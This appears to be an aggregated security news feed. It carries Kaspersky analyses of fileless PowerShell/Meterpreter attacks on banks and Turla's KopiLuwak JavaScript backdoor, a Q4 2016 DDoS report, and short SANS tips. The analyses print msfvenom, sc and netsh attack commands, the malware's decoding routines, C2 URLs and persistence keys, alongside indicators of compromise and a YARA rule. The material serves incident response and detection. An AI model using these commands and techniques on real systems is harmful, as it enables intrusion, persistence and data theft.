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Fileless attacks against enterprise networks

Malware Alerts - Wed, 02/08/2017 - 03:58

During incident response, a team of security specialists needs to follow the artefacts that attackers have left in the network. Artefacts are stored in logs, memories and hard drives. Unfortunately, each of these storage media has a limited timeframe when the required data is available. One reboot of an attacked computer will make memory acquisition useless. Several months after an attack the analysis of logs becomes a gamble because they are rotated over time. Hard drives store a lot of needed data and, depending on its activity, forensic specialists may extract data up to a year after an incident. That’s why attackers are using anti-forensic techniques (or simply SDELETE) and memory-based malware to hide their activity during data acquisition. A good example of the implementation of such techniques is Duqu2. After dropping on the hard drive and starting its malicious MSI package it removes the package from the hard drive with file renaming and leaves part of itself in the memory with a payload. That’s why memory forensics is critical to the analysis of malware and its functions. Another important part of an attack are the tunnels that are going to be installed in the network by attackers. Cybercriminals (like Carbanak or GCMAN) may use PLINK for that. Duqu2 used a special driver for that. Now you may understand why we were very excited and impressed when, during an incident response, we found that memory-based malware and tunnelling were implemented by attackers using Windows standard utilities like “SC” and “NETSH“.

Description

This threat was originally discovered by a bank’s security team, after detecting Meterpreter code inside the physical memory of a domain controller (DC). Kaspersky Lab’s product detection names for such kinds of threat are MEM:Trojan.Win32.Cometer and MEM:Trojan.Win32.Metasploit. Kaspersky Lab participated in the forensic analysis after this attack was detected, discovering the use of PowerShell scripts within the Windows registry. Additionally it was discovered that the NETSH utility as used for tunnelling traffic from the victim’s host to the attacker´s C2.

We know that the Metasploit framework was used to generate scripts like the following one:

This script allocates memory, resolves WinAPIs and downloads the Meterpreter utility directly to RAM. These kind of scripts may be generated by using the Metasploit Msfvenom utility with the following command line options:

  • msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST=10.10.1.11 -f psh-cmd

After the successful generation of a script, the attackers used the SC utility to install a malicious service (that will execute the previous script) on the target host. This can be done, for example, using the following command:

  • sc \\target_name create ATITscUA binpath= “C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA…” start= manual

The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command:

  • netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.1.12 connectport=8080 listenaddress=0.0.0.0

That would result in all network traffic from 10.10.1.11:4444 being forwarded to 10.10.1.12:8080. This technique of setting up proxy tunnels will provide the attackers with the ability to control any PowerShell infected host from remote Internet hosts.

The use of the “SC” and “NETSH” utilities requires administrator privileges both in local and remote host. The use of malicious PowerShell scripts also requires privilege escalation and execution policy changes. In order to achieve this, attackers used credentials from Service accounts with administrative privileges (for example backup, service for remote task scheduler, etc.) grabbed by Mimikatz.

Features

The analysis of memory dumps and Windows registries from affected machines allowed us to restore both Meterpreter and Mimikatz. These tools were used to collect passwords of system administrators and for the remote administration of infected hosts.

In order to get the PowerShell payload used by the attackers from the memory dumps, we used the following BASH commands:

  • cat mal_powershell.ps1_4 | cut -f12 -d” ” | base64 -di | cut -f8 -d\’ | base64 -di | zcat – | cut -f2 -d\( | cut -f2 -d\” | less | grep \/ | base64 -di | hd

Resulting in the following payload:

Part of a code responsible for downloading Meterpreter from “adobeupdates.sytes[.]net”

Victims

Using the Kaspersky Security Network we found more than 100 enterprise networks infected with malicious PowerShell scripts in the registry. These are detected as Trojan.Multi.GenAutorunReg.c and HEUR:Trojan.Multi.Powecod.a. The table below show the number of infections per country.

However we cannot confirm that all of them were infected by the same attacker.

Attribution

During our analysis of the affected bank we learned that the attackers had used several third level domains and domains in the .GA, .ML, .CF ccTLDs. The trick of using such domains is that they are free and missing WHOIS information after domain expiration. Given that the attackers used the Metasploit framework, standard Windows utilities and unknown domains with no WHOIS information, this makes attribution almost impossible. This closest groups with the same TTPs are GCMAN and Carbanak.

Conclusions

Techniques like those described in this report are becoming more common, especially against relevant targets in the banking industry. Unfortunately the use of common tools combined with different tricks makes detection very hard.

In fact, detection of this attack would be possible in RAM, network and registry only. Please check the Appendix I – Indicators of Compromise section for more details on how to detect malicious activity related to this fileless PowerShell attack.

After successful disinfection and cleaning, it is necessary to change all passwords. This attack shows how no malware samples are needed for successful exfiltration of a network and how standard and open source utilities make attribution almost impossible.

Further details of these attacks and their objectives will be presented at the Security Analyst Summit, to be held on St. Maarten from 2 to 6 April, 2017.

For more information please contact: intelreports@kaspersky.com

Appendix I – Indicators of Compromise

To find the host used by an attacker using the technique described for remote connections and password collection, the following paths in the Windows registry should be analyzed:

  • HKLM\SYSTEM\ControlSet001\services\ – path will be modified after using the SC utility
  • HKLM\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp – path will be modified after using the NETSH utility

In unallocated space in the Windows registry, the following artefacts might be found:

  • powershell.exe -nop -w hidden -e
  • 10.10.1.12/8080
  • 10.10.1.11/4444

Please note that these IPs are taken from the IR case in which we participated, so there could be any other IP used by an eventual attacker. These artefacts indicate the use of PowerShell scripts as a malicious service and the use of the NETSH utility for building tunnels.

Verdicts:

  • MEM:Trojan.Win32.Cometer
  • MEM:Trojan.Win32.Metasploit
  • Trojan.Multi.GenAutorunReg.c
  • HEUR:Trojan.Multi.Powecod
Appendix II – Yara Rules rule msf_or_tunnel_in_registry { strings: $port_number_in_registry = "/4444" $hidden_powershell_in_registry = "powershell.exe -nop -w hidden" wide condition: uint32(0)==0x66676572 and any of them }

Securely Disposing Mobile Devices

SANS Tip of the Day - Wed, 02/08/2017 - 00:00
Do you plan on giving away or selling one of your older mobile devices? Make sure you wipe or reset your device before disposing of it. If you don't, the next person who owns it will have access to all of your accounts and personal information.

Rocket AI and the next generation of AV software

Malware Alerts - Tue, 02/07/2017 - 03:56

The annual Conference on Artificial Intelligence and Neural Information Processing Systems (NIPS) was held in Barcelona on 5–10 December 2016. This is, most likely, one of the two most important conferences in the AI field. This year, 5,680 AI experts attended the conference (the second of these large conferences is known as ICML).

This is not the first year that Kaspersky Lab is taking part in the conference – it is paramount for our experts to be well informed on the most up-to-date approaches to machine learning. This time, there were five Kaspersky Lab employees at NIPS, each from a different department and each working with machine learning implementation in order to protect users from cyberthreats.

However, my intent is to tell you not about the benefit of attending the conference but about an amusing incident that was devised and put into action by AI luminaries.

Rocket AI is the Next Generation of Applied AI

This story was covered in detail by Medium, and I shall only briefly relate the essence of the matter.

Right as the conference was happening, the www.rocketai.org website was created with this bubble on the main page (see picture below):

Please note that this is not just AI, but the next generation of AI. The idea of the product is described below.

The Temporally Recurrent Optimal Learning™ approach (abbreviated as “TROL(L)”), which was not yet known to science, was actively promoted on Twitter by conference participants. Within several hours, this resulted in five large companies contacting the project’s authors with investment offers. The value of the “project” was estimated at tens of millions of dollars.

Now, it’s time to lay the cards on the table: the Rocket AI project was created by experts in machine learning as a prank whose goal was to draw attention to the issue that was put perfectly into words by an author at Medium.com: “Artificial Intelligence has become the most hyped sector of technology. With national press reporting on its dramatic potential, large corporations and investors are desperately trying to break into this field. Many start-ups go to great lengths to emphasize their use of “machine learning” in their pitches, however trivial it may seem. The tech press celebrates companies with no products, that contribute no new technology, and at overly-inflated cost.”

In reality, the field of machine learning features nothing new; popular approaches to artificial intelligence are actually decades-old ideas.

“Clever teams are exploiting the obscurity and cachet of this field to raise more money, knowing that investors and the press have little understanding of how machine learning works in practice,” the author added.

An Anti-Virus of the Very Next Generation

It may seem that the outcome of the prank brought out nothing new: investors feel weakness for everything they hear about. Investment bubbles have existed and will continue to exist. Just our generation saw the advent of dotcoms, biometrics, and bitcoins. We have AI now, and I am sure that 2017 will give us something new as well.

Yet, after I had taken a peek at data-security start-ups, which are springing up like mushrooms after a rain and which claim that they employ the “very real” AI (of the very next generation), an amusing idea crossed my mind.

What would happen if we did the same thing that the respected AI experts did? We could come to agreements with other representatives in the cybersecurity area (I would like to point out the principle of “coopetition”, which combines market competition and cooperation in the areas of inspection and user protection) and create a joint project. Meet Rocket AV.

If respected IT experts were to advertise it all over their Twitter accounts, then — who knows? — maybe we could attract tens of millions of dollars’ worth of investments.

But no, it’d probably be better for us to continue doing what we are best at: protecting users from cyberthreats. This is the essence of True CyberSecurity.

Unique Passwords

SANS Tip of the Day - Tue, 02/07/2017 - 00:00
Make sure each of your accounts has a separate, unique password. Can't remember all of your passwords/passphrases? Consider using a password manager to securely store all of them for you.

KopiLuwak: A New JavaScript Payload from Turla

Malware Alerts - Thu, 02/02/2017 - 10:00

On 28 January 2017, John Lambert of Microsoft (@JohnLaTwC) tweeted about a malicious document that dropped a “very interesting .JS backdoor“. Since the end of November 2016, Kaspersky Lab has observed Turla using this new JavaScript payload and specific macro variant. This is a technique we’ve observed before with Turla’s ICEDCOFFEE payloads, detailed in a private report from June 2016 (available to customers of Kaspersky APT Intelligence Services). While the delivery method is somewhat similar to ICEDCOFFEE, the JavaScript differs greatly and appears to have been created mainly to avoid detection.

Targeting for this new malware is consistent with previous campaigns conducted by Turla, focusing on foreign ministries and other governmental organizations throughout Europe. Popularity of the malware, however, is much lower than ICEDCOFFEE, with victim organizations numbering in the single digits as of January 2017. We assess with high confidence this new JavaScript will be used more heavily in the future as a stage 1 delivery mechanism and victim profiler.

The malware is fairly simplistic but flexible in its functionality, running a standard batch of profiling commands on the victim and also allowing the actors to run arbitrary commands via Wscript.

Actor Profile

Turla, also known as Snake / Uroburos / Venomous Bear and KRYPTON is a Russian-speaking APT group that has been active since at least 2007. Its activity can be traced to many high-profile incidents, including the 2008 attack against the US Central Command, (see Buckshot Yankee incident) or more recently, the attack against RUAG, a Swiss military contractor. The Turla group has been known as an agile, very dynamic and innovative APT, leveraging many different families of malware, satellite-based command and control servers and malware for non-Windows OSes.

Targeting Ukraine, EU-related institutions, governments of EU countries, Ministries of Foreign Affairs globally, media companies and possibly corruption related targets in Russia, the group intensified their activity in 2014, which we described in our paper Epic Turla. During 2015 and 2016 the group diversified their activities, switching from the Epic Turla waterhole framework to the Gloog Turla framework, which is still active. They also expanded their spear phishing activities with the Skipper / WhiteAtlas attacks, which leveraged new malware. Recently, the group has intensified their satellite-based C&C registrations ten-fold compared to their 2015 average.

Technical Details

Sample MD5: 6e7991f93c53a58ba63a602b277e07f7
Name: National Day Reception (Dina Mersine Bosio Ambassador’s Secretary).doc
Author: user
LastModifiedBy: John
CreateDate: 2016:11:16 21:58:00
ModifyDate: 2016:11:24 17:42:00

Decoy document used in the attack

The lure document above shows an official letter from the Qatar Embassy in Cyprus to the Ministry of Foreign Affairs (MoFA) in Cyprus. Based on the name of the document (National Day Reception (Dina Mersine Bosio Ambassador’s Secretary).doc, it is presumed it may have been sent from the Qatar Ambassador’s secretary to the MoFA, possibly indicating Turla already had control of at least one system within Qatar’s diplomatic network.

The document contains a malicious macro, very similar to previous macros used by Turla in the past to deliver Wipbot, Skipper, and ICEDCOFFEE. However, the macro did contain a few modifications to it, mainly the XOR routine used to decode the initial JavaScript and the use of a “marker” string to find the embedded payload in the document.

New XOR Routine

Below is a snippet of the new XOR routine used to decode the initial JavaScript payload. Turla has consistently changed the values used in this routine over the last year, presumably to avoid easy detection:

Function Q7JOhn5pIl648L6V43V(EjqtNRKMRiVtiQbSblq67() As Byte, M5wI32R3VF2g5B21EK4d As Long) As Boolean Dim THQNfU76nlSbtJ5nX8LY6 As Byte THQNfU76nlSbtJ5nX8LY6 = 45 For i = 0 To M5wI32R3VF2g5B21EK4d - 1 EjqtNRKMRiVtiQbSblq67(i) = EjqtNRKMRiVtiQbSblq67(i) Xor THQNfU76nlSbtJ5nX8LY6 THQNfU76nlSbtJ5nX8LY6 = ((THQNfU76nlSbtJ5nX8LY6 Xor 99) Xor (i Mod 254)) Next i Q7JOhn5pIl648L6V43V = True End Function

Here is a function written in Python to assist in decoding of the initial payload:

def decode(payload, length): varbyte = 45 i = 0 for byte in payload: payload[i] = byte ^ varbyte varbyte = ((varbyte ^ 99) ^ (i % 254)) i += 1

Payload Offset

Another change in the macro is the use of a “marker” string to find the payload offset in the document. Instead of using hard coded offsets at the end of the document as in ICEDCOFFEE, the macro uses the below snippet to identify the start of the payload:

Set VUy5oj112fLw51h6S = CreateObject("vbscript.regexp") VUy5oj112fLw51h6S.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh" Set I4j833DS5SFd34L3gwYQD = VUy5oj112fLw51h6S.Execute(KqG31PcgwTc2oL47hjd7Oi)

Second Layer JavaScript

Once the marker is found, the macro will carve out “15387 + 1” bytes (hard coded) from the end of the marker and pass that byte array to the aforementioned decoding routine. The end result is a JavaScript file (mailform.js – MD5: 05d07279ed123b3a9170fa2c540d2919) written to “%APPDATA%\Microsoft\Windows\”.

mailform.js – malicious obfuscated JavaScript payload

This file is then executed using Wscript.Shell.Run() with a parameter of “NPEfpRZ4aqnh1YuGwQd0”. This parameter is an RC4 key used in the next iteration of decoding detailed below.

The only function of mailform.js is to decode the third layer payload stored in the JavaScript file as a Base64 string. This string is Base64 decoded, then decrypted using RC4 with the key supplied above as a parameter (“NPEfpRZ4aqnh1YuGwQd0”). The end result is yet another JavaScript which is passed to the eval() function and executed.

Third Layer JavaScript

The third layer payload is where the C2 beaconing and system information collection is performed. This JS will begin by copying itself to the appropriate folder location based on the version of Windows running:

  1. c:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\mailform.js

  2. c:\Users\<USERNAME>\AppData\Local\Temp\mailform.js

  3. c:\Documents and Settings\<USERNAME>\Application Data\Microsoft\Windows\mailform.js

Persistence

Next, it will establish persistence on the victim by writing to the following registry key:

Key: HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\mailform
Value: wscript.exe /b “<PATH_TO_JS> NPEfpRZ4aqnh1YuGwQd0”

Profiling

After establishing its persistence, it will then execute a series of commands on the victim system using “cmd.exe /c” and store them to a file named “~dat.tmp”, in the same folder where “mailform.js” is located:

  • systeminfo
  • net view
  • net view /domain
  • tasklist /v
  • gpresult /z
  • netstat -nao
  • ipconfig /all
  • arp -a
  • net share
  • net use
  • net user
  • net user administrator
  • net user /domain
  • net user administrator /domain
  • set
  • dir %systemdrive%\Users\*.*
  • dir %userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*
  • dir %userprofile%\Desktop\*.*
  • tasklist /fi “modules eq wow64.dll”
  • tasklist /fi “modules ne wow64.dll”
  • dir “%programfiles(x86)%”
  • dir “%programfiles%”
  • dir %appdata%

Once the information is collected into the temporary “~dat.tmp” file, the JavaScript reads its contents into memory, RC4 encrypts it with the key “2f532d6baec3d0ec7b1f98aed4774843”, and deletes the file after a 1 second sleep, virtually eliminating storage of victim information on disk and only having an encrypted version in memory.

Network Communications

With the victim info stored in encrypted form in memory, the JavaScript then will perform the necessary callback(s) to the C2 servers which are hard coded in the payload. The addresses seen in this payload were as follows:

  • http://soligro[.]com/wp-includes/pomo/db.php
  • http://belcollegium[.]org/wp-admin/includes/class-wp-upload-plugins-list-table.php

It should be noted that the above domains appear to have been compromised by the actor based on the locations of the PHP scripts.

Belcollegium[.]org – a legitimate website compromised and used for C2

Victim data is sent to the C2 servers in the form of a POST request. The headers of the POST request contain a unique User-Agent string that will remain the same per victim system. The User-Agent string is created by performing the following steps:

  1. Concatenate the string “KRMLT0G3PHdYjnEm” + <SYSTEM_NAME> + <USER NAME>

  2. Use the above string as input to the following function (System Name and User Name have been filled in with example data ‘Test’ and ‘Admin’):

    function EncodeUserAgent() { var out = ""; var UserAgent = 'KRMLT0G3PHdYjnEm' + 'Test' + 'Admin'; for (var i = 0; i < 16; i++) { var x = 0 for (var j = i; j < UserAgent.length - 1; j++) { x = x ^ UserAgent.charCodeAt(j); } x = (x % 10); out = out + x.toString(10); } out = out + 'KRMLT0G3PHdYjnEM'; return out; }

    The function above will produce a unique “UID” consisting of a 16-digit number with the string “KRMLT0G3PHdYjnEm” appended to the end. In the example above using the System Name “Test” and User Name “Admin”, the end result would be “2356406508689132KRMLT0G3PHdYjnEm”

  3. Prepend the string “user-agent:”, “Mozilla/5.0 (Windows NT 6.1; Win64; x64); ” to the result from the last step. This will now be the unique User-Agent value for the victim callbacks. In this example, the final result will be “user-agent:”, “Mozilla/5.0 (Windows NT 6.1; Win64; x64); 2356406508689132KRMLT0G3PHdYjnEm”.

The POST request will contain the unique User-Agent string above as one of the headers and also the Base64 encoded version of the RC4 encrypted victim data collected earlier.

The C2 will respond in one of four ways after the POST request:

  1. “good”

  2. “exit”

  3. “work”

  4. “fail”

In the case of an answer of “good”, the JavaScript will then sleep for a random amount of time, ranging from 3600-3900 seconds.

The “exit” command will cause script to exit gracefully, thus shutting down the communications to the C2 server until next startup / login from the user.

The “fail” command is for uninstalling the JavaScript and its persistence. Both the “mailform.js” file and registry key created for persistence will be deleted upon receipt of this command.

The “work” command is used to task the victim’s system to run arbitrary commands via Wscript.shell.run(). It begins by checking to see if a file “mailform.pif” exists in the same directory as the JavaScript, and if so, it will delete it. The victim will then send a POST request to the C2 much in the same way as before with the beacon traffic, but with some slight differences. The User-Agent header will remain the same as in the beacon traffic, but the data sent to the C2 will consist of the 4-byte string “work”. If the response from the server after this acknowledgement is “200 OK”, then the system will proceed to read the response data into memory, RC4 encrypt it using the same key “2f532d6baec3d0ec7b1f98aed4774843”, then write it out to the “mailform.pif” file referenced above. The command file is run, the JavaScript will sleep for 30 seconds, and then the file is subsequently deleted.

Victims and Sinkholing

One of the domains involved in this new malware (soligro[.]com) expired in July 2016 and was was available for purchase and sinkhole at the time of the analysis. Sinkhole data shows several potential victims, with one high profile victim (195.251.32.62) located within the Greek Parliament:

The majority of connections to the sinkhole server have been observed from IP ranges residing within Greece. This leads us to believe the main target for the specific document above was Greece, although we also have indications of targeting in Romania and Qatar based on other data.

Conclusions

In recent months, the Turla actors have increased their activity significantly. The addition of KopiLuwak to their already existing ICEDCOFFEE JavaScript payload indicates the group continues to evolve and deliver new tools to avoid detection by known malware signatures.

Currently, it seems the Turla actors continue to rely heavily on embedded macros in Office documents. While this may appear to be an elementary technique to use for such a sophisticated actor, they are repeatedly successful in compromising high value targets with this method. It is advised that users disable macros in their enterprise and not allow the user to enable said content unless absolutely necessary. Furthermore, using the polymorphic obfuscation technique for the macros has caused difficulties in writing signatures for detection.

DDoS attacks in Q4 2016

Malware Alerts - Thu, 02/02/2017 - 06:00

News Overview

Without doubt, 2016 was the year of Distributed Denial of Service (DDoS) with major disruptions in terms of technology, attack scale and impact on our daily life. In fact, the year ended with massive DDoS attacks unseen before, leveraging Mirai botnet technology, whose first appearance was covered in our last DDoS Intelligence Report.

Since then, we have published several other detailed reports dedicated to major attacks on Dyn’s Domain Name System (DNS) infrastructure, on Deutsche Telekom, which knocked 900K Germans offline in November. Additionally, we tracked similar attacks on Internet service providers (ISPs) in Ireland, the United Kingdom and Liberia all leveraging IoT devices controlled by Mirai technology and partly targeting home routers in an attempt to create new botnets.

Although ‘Rise of the Machines‘, as the Institute for Critical Infrastructure Technology (ICIT) titled its analysis, sounds quite blatant, it clearly shows that stakeholders worldwide, in particular in the United States and the European Union, recognize the lack of security inherent in the functional design of IoT devices and the need to set up a common IoT security ecosystem. And not before time, as we expect to see the emergence of further Mirai botnet modifications and a general increase in IoT botnet activity in 2017.

Altogether, the DDoS attacks we have seen so far are just a starting point initiated by various actors to draw up IoT devices into the actors’ own botnets, test drive Mirai technology and develop attack vectors. The DDoS attacks on five major Russian banks in November are a very good example of this.

First, they demonstrate once again that financial services like the bitcoin trading and blockchain platforms CoinSecure of India and BTC-e of Bulgaria, or William Hill, one of Britain’s biggest betting sites, which took days to come back to full service, were at the highest risk in the fourth quarter and are likely to remain so throughout 2017.

Second, cybercriminals have learnt to manage and launch very sophisticated, carefully planned, and constantly changing multi-vector DDoS attacks adapted to the mitigation policy and capacity of the attacked organization. As per our analysis, the cybercriminals in several other cases we tracked in 2016 started with a combination of various attack vectors gradually checking out a bank’s network and web services to find a point of service failure. Once DDoS mitigation and other countermeasures were initiated, the attack vectors changed over a period of several days.

Overall, these attacks show that the DDoS landscape entered the next stage of its evolution in 2016 with new technology, massive attack power, as well as highly skilled and professional cybercriminals. Unfortunately, this tendency has not yet found its way into the cybersecurity policies of many organizations that are still not ready or are unclear about the necessary investments in DDoS protection services.

Four main trends of the year

In 2016, the DDoS attack market saw a number of significant changes and developments. We have identified the four major trends:

  1. The demise of amplification-type attacks. These attacks have been around for a while and the methods for combating them are well-known and have been perfected over time. They remained quite popular in the first half of 2016, but it was clear their number and volume were gradually declining. By the end of 2016, cybercriminals had almost completely given up using malicious amplification-type attacks, ending a downward trend that had lasted several years. First of all, this is the result of countermeasures being developed for these attacks. It’s also down to a reduction in the number of vulnerable amplification hosts available to the attackers (DNS Amplification attacks are the best illustration of this) as their owners react to the performance problems and losses associated with these attacks and look for ways to patch vulnerabilities.

  2. Rising popularity of attacks on applications and the growth in their use of encryption. For the last few years UDP-based amplification attacks have remained the undisputed leader on the DDoS attack market, while attacks on applications have been relatively rare. In the second half of the year, and particularly in Q4, there was a dramatic increase in the popularity of attacks on applications, which gradually filled the niche previously occupied by amplification attacks. To organize such attacks, time-tested tools (Pandora, Drive, LOIC/HOIC) and new developments are used. Along with the growing popularity of attacks on applications, the number of these attacks using encryption is also growing. The use of encryption in most cases dramatically increases the efficiency of attacks and makes filtering them more difficult. In addition, cybercriminals continue to use an integrated approach, masking a small but effective attack on applications behind a simultaneous large-scale attack, for example, an attack involving a large number of short network packets (short-packet TCP flood).

  3. The rise in popularity of WordPress Pingback attacks. WordPress Pingback-type attacks, which were extremely rare at the start of 2016, had by the fourth quarter occupied a substantial amount of the DDoS attack market. This is currently one of the most popular attack methods targeting applications, and we consider them separately from the overall mass of attacks at the application level. Relatively simple to organize, the “fingerprint” of these attacks is very specific, and the corresponding traffic can be easily separated from the general traffic flow. However, carrying out such an attack using encryption (something that was observed by Kaspersky Lab experts in Q4 2016) greatly complicates filtering and increases the malicious potential of this type of attack.

  4. Use of IoT botnets to carry out DDoS attacks. After the publication of code on the GitHub resource on 24 October, Kaspersky Lab experts noticed a surge in interest in IoT devices among criminals, especially their use in botnets to perform DDoS attacks. The concepts and methods demonstrated by the creators of the Mirai botnet were used as the basis for a large number of new malicious codes and botnets consisting of IoT devices. These kinds of botnets were used in numerous attacks on Russian banks in Q4 2016. Unlike classic botnets, IoT-based botnets are huge in terms of both their volume and potential, something that was proved by the high-profile attack on the DNS DYN provider, which indirectly affected the work of many major web resources (e.g., Twitter, Airbnb, CNN and many others).

Statistics for botnet-assisted DDoS attacks Methodology

Kaspersky Lab has extensive experience in combating cyber threats, including DDoS attacks of various types and levels of complexity. The company’s experts monitor botnet activity with the help of the DDoS Intelligence system.

DDoS Intelligence (part of Kaspersky DDoS Protection) is designed to intercept and analyze commands sent to bots from command and control (C&C) servers, and does not have to wait until user devices are infected or cybercriminal commands are executed in order to gather data.

This report contains the DDoS Intelligence statistics for the fourth quarter of 2016.

In the context of this report, a single (separate) DDoS attack is defined as an incident during which any break in botnet activity lasts less than 24 hours. If the same web resource was attacked by the same botnet after a break of more than 24 hours, this is regarded as a separate DDoS attack. Attacks on the same web resource from two different botnets are also regarded as separate attacks.

The geographic distribution of DDoS victims and C&C servers is determined according to their IP addresses. In this report, the number of DDoS targets is calculated based on the number of unique IP addresses reported in the quarterly statistics.

It is important to note that DDoS Intelligence statistics are limited to those botnets detected and analyzed by Kaspersky Lab. It should also be noted that botnets are just one of the tools used to carry out DDoS attacks; therefore, the data presented in this report does not cover every DDoS attack that has occurred within the specified time period.

Q4 Summary
  • Resources in 80 countries (vs. 67 in Q3) were targeted by DDoS attacks in Q4 2016.
  • 71.6% of targeted resources were located in China.
  • South Korea, China and the US remained leaders in terms of both the number of targets and number of detected C&C servers.
  • The longest DDoS attack in Q4 2016 lasted for 292 hours (or 12.2 days) – significantly longer than the previous quarter’s maximum (184 hours, or 7.7 days) and set a record for 2016.
  • SYN DDoS, TCP DDoS and HTTP DDoS remain the most common DDoS attack scenarios. The proportion of attacks using the SYN DDoS method decreased by 5.7 p.p., while the shares of both TCP DDoS and HTTP DDoS grew considerably.
  • In Q4 2016, the percentage of attacks launched from Linux botnets decreased slightly and accounted for 76.7% of all detected attacks.
Geography of attacks

In Q4 2016, the geography of DDoS attacks expanded to 80 countries, with China accounting for 76.97% (4.4 p.p. more than the previous quarter). The US (7.3%) and South Korea (7%) were once again second and third respectively.

The Top 10 most targeted countries accounted for 96.9% of all attacks. Canada (0.8%) appeared in the rating, replacing Italy. Russia (1.75%) moved from fifth to fourth thanks to a 0.6 p.p. decline in Vietnam’s share.

Distribution of DDoS attacks by country, Q3 2016 vs. Q4 2016

Statistics for the fourth quarter show that the 10 most targeted countries accounted for 96.3% of all DDoS attacks.

Distribution of unique DDoS attack targets by country, Q3 2016 vs. Q4 2016

71.6% of attacks targeted resources located in China, which was 9 p.p. more than the previous quarter. There was a small increase in the number of targets in South Korea (+0.7 p.p.). The US rounded off the top three, even though its share decreased by 9.7 p.p. (9% vs.18.7% in Q3).

The shares of the other countries in the Top 10 remained almost unchanged, with the exception of Japan which saw a fall of 1 p.p. Italy and the Netherlands left the rating and were replaced by Germany (0.56%) and Canada (0.77%).

Changes in DDoS attack numbers

The distribution of DDoS activity was relatively even throughout Q4, with the exception of a sharp peak registered on 5 November when the largest number of attacks in 2016 – 1,915 – was recorded. The quietest day of Q4 was 23 November (90 attacks). However, by 25 November cybercriminal activity had increased to 981 attacks.

Number of DDoS attacks over time* in Q4 2016

*DDoS attacks may last for several days. In this timeline, the same attack may be counted several times, i.e. one time for each day of its duration.

Saturday was the busiest day of the week in Q4 for DDoS attacks (18.2% of attacks), followed by Friday 1.7 p.p. behind. Monday became the quietest day of the week for DDoS attacks (11.6%).

Distribution of DDoS attack numbers by day of the week, Q3 and Q4 2016

Types and duration of DDoS attacks

The SYN DDoS method remained the most popular: its share accounted for 75.3% of attacks, although this figure is 5.7 p.p. less than in the previous quarter. The figures for other attack types increased slightly – TCP DDoS (from 8.2% to 10.7%) and ICMP DDoS (from 1.7% to 2.2%). UDP’s contribution remained almost unchanged.

Distribution of DDoS attacks by type, Q3 and Q4 2016

Distribution of DDoS attacks by duration (hours) in Q4 2016 was distinctly uneven. While the share of attacks that lasted no more than four hours remained almost the same as the previous quarter (it decreased by just 1.56 p.p.), the figures for the other time periods changed significantly.

The share of attacks that lasted 5-9 hours increased from 14.49% to 19.28%. Attacks lasting 10-19 hours fell by 1.3 p.p., while the proportion of attacks that lasted 20-49 hours fell by even more – minus 3.35 p.p. The percentage of even longer attacks decreased considerably – the share of attacks lasting 50–99 hours accounted for 0.94%, compared to 3.46% in the previous quarter. The share of attacks that lasted 100-150 hours grew and reached 2.2%, which meant that Q4 saw twice as many of these attacks than those lasting 50-99 hours. There were very few cases of attacks lasting longer than 150 hours.

The longest DDoS attack in the fourth quarter lasted for 292 hours, 8 hours longer than the Q3 maximum. This was also the longest attack of 2016.

Distribution of DDoS attacks by duration (hours), Q3 and Q4 2016

C&C servers and botnet types

In Q4, the highest number of C&C servers (59.06%) was detected in South Korea. Although the country’s contribution increased by 13.3 p.p. from the previous quarter, it is much less than in Q2 2016 (69.6%). The top three countries hosting the most C&C servers remained unchanged – South Korea, China (8.72%) and the US (8.39%). Their total share accounted for 76.1%, which is an increase of 8.4 p.p. compared to Q3.

In the fourth quarter, three Western European countries – the Netherlands (7.4%), the UK (1.3%), and France (1.7%) – remained in the Top 10 after entering it back in Q3. Among the newcomers to the C&C rating were Bulgaria (6%) and Japan (1.3%).

Distribution of botnet C&C servers by country in Q4 2016

When it came to the distribution of operating systems in Q4, Linux-based DDoS bots remained the clear leader, although their share decreased by 2.2 p.p., accounting for 76.7%. This correlates with the decline in popularity of SYN DDoS for which Linux bots are the most appropriate tool.

The growing popularity of IoT devices used for DDoS attacks suggests that in 2017 the balance will shift further towards Linux, since most Internet-connected devices are based on this operating system.

Correlation between attacks launched from Windows and Linux botnets, Q3 and Q4 2016

The majority of attacks – 99.7% – were carried out by bots belonging to a single family. Cybercriminals launched attacks using bots from two different families in just 0.3% of cases.

Conclusions and forecasts

We expect the share of amplification-type attacks in 2017 to continue to decrease, especially the most popular types (DNS, NTP). However, considering the simplicity and low organizational costs, the technique may be used in some less popular protocols suitable for amplification (RIP, SSDP, LDAP and so on), though it is unlikely that such attacks will be very effective.

The number and complexity of attacks on applications will continue to grow. Considering the renewed interest in this type of attack among cybercriminals and the stagnation in this segment over the last few years, we can assume that older botnets will gradually fall out of use and something new will appear, for example, botnets capable of more sophisticated attacks. The trend for encryption in attacks on applications will remain.

WordPress Pingback attacks will remain popular. Although in the newer versions of the WordPress CMS the vulnerability used for organizing such attacks (namely, the default Pingback function in older CMS versions) has long since been patched by the developers, there are still many vulnerable hosts on the Internet. Of course, their number will decline over time, reducing the number and power of WordPress Pingback attacks. But the relative simplicity and low cost of organizing such attacks, as well as the possibility of using encryption, makes WordPress Pingback-type attacks attractive to unpretentious cybercriminals.

Botnets based on IoT devices will continue to grow. This is largely due to both the novelty of the IoT concept in general and exploitation of IoT devices by cybercriminals. We can assume that in the fourth quarter of 2016 we only saw the emergence of this new market segment, and in 2017 it will continue to grow and develop. The potential growth is difficult to estimate: until now IoT-device manufacturers were not particularly concerned about protecting their products. Even if we assume that all new IoT devices entering the market are perfectly protected from malicious attacks (which in itself is quite doubtful), the current volume of vulnerable IoT devices with Internet access is considerable. Just a few months after the initial appearance of the concept, attackers were able to demonstrate the use of botnets of unprecedented size and conduct attacks whose power was previously only considered possible in theory. Moreover, these devices have the potential to launch attacks of any complexity – the current trend is attacks on applications, including the use of encryption. Considering the highly effective nature and huge potential of IoT-based attacks, we can predict an increase in the number of such attacks as well as their volume and complexity in 2017.

Browse With Encryption

SANS Tip of the Day - Thu, 02/02/2017 - 00:00
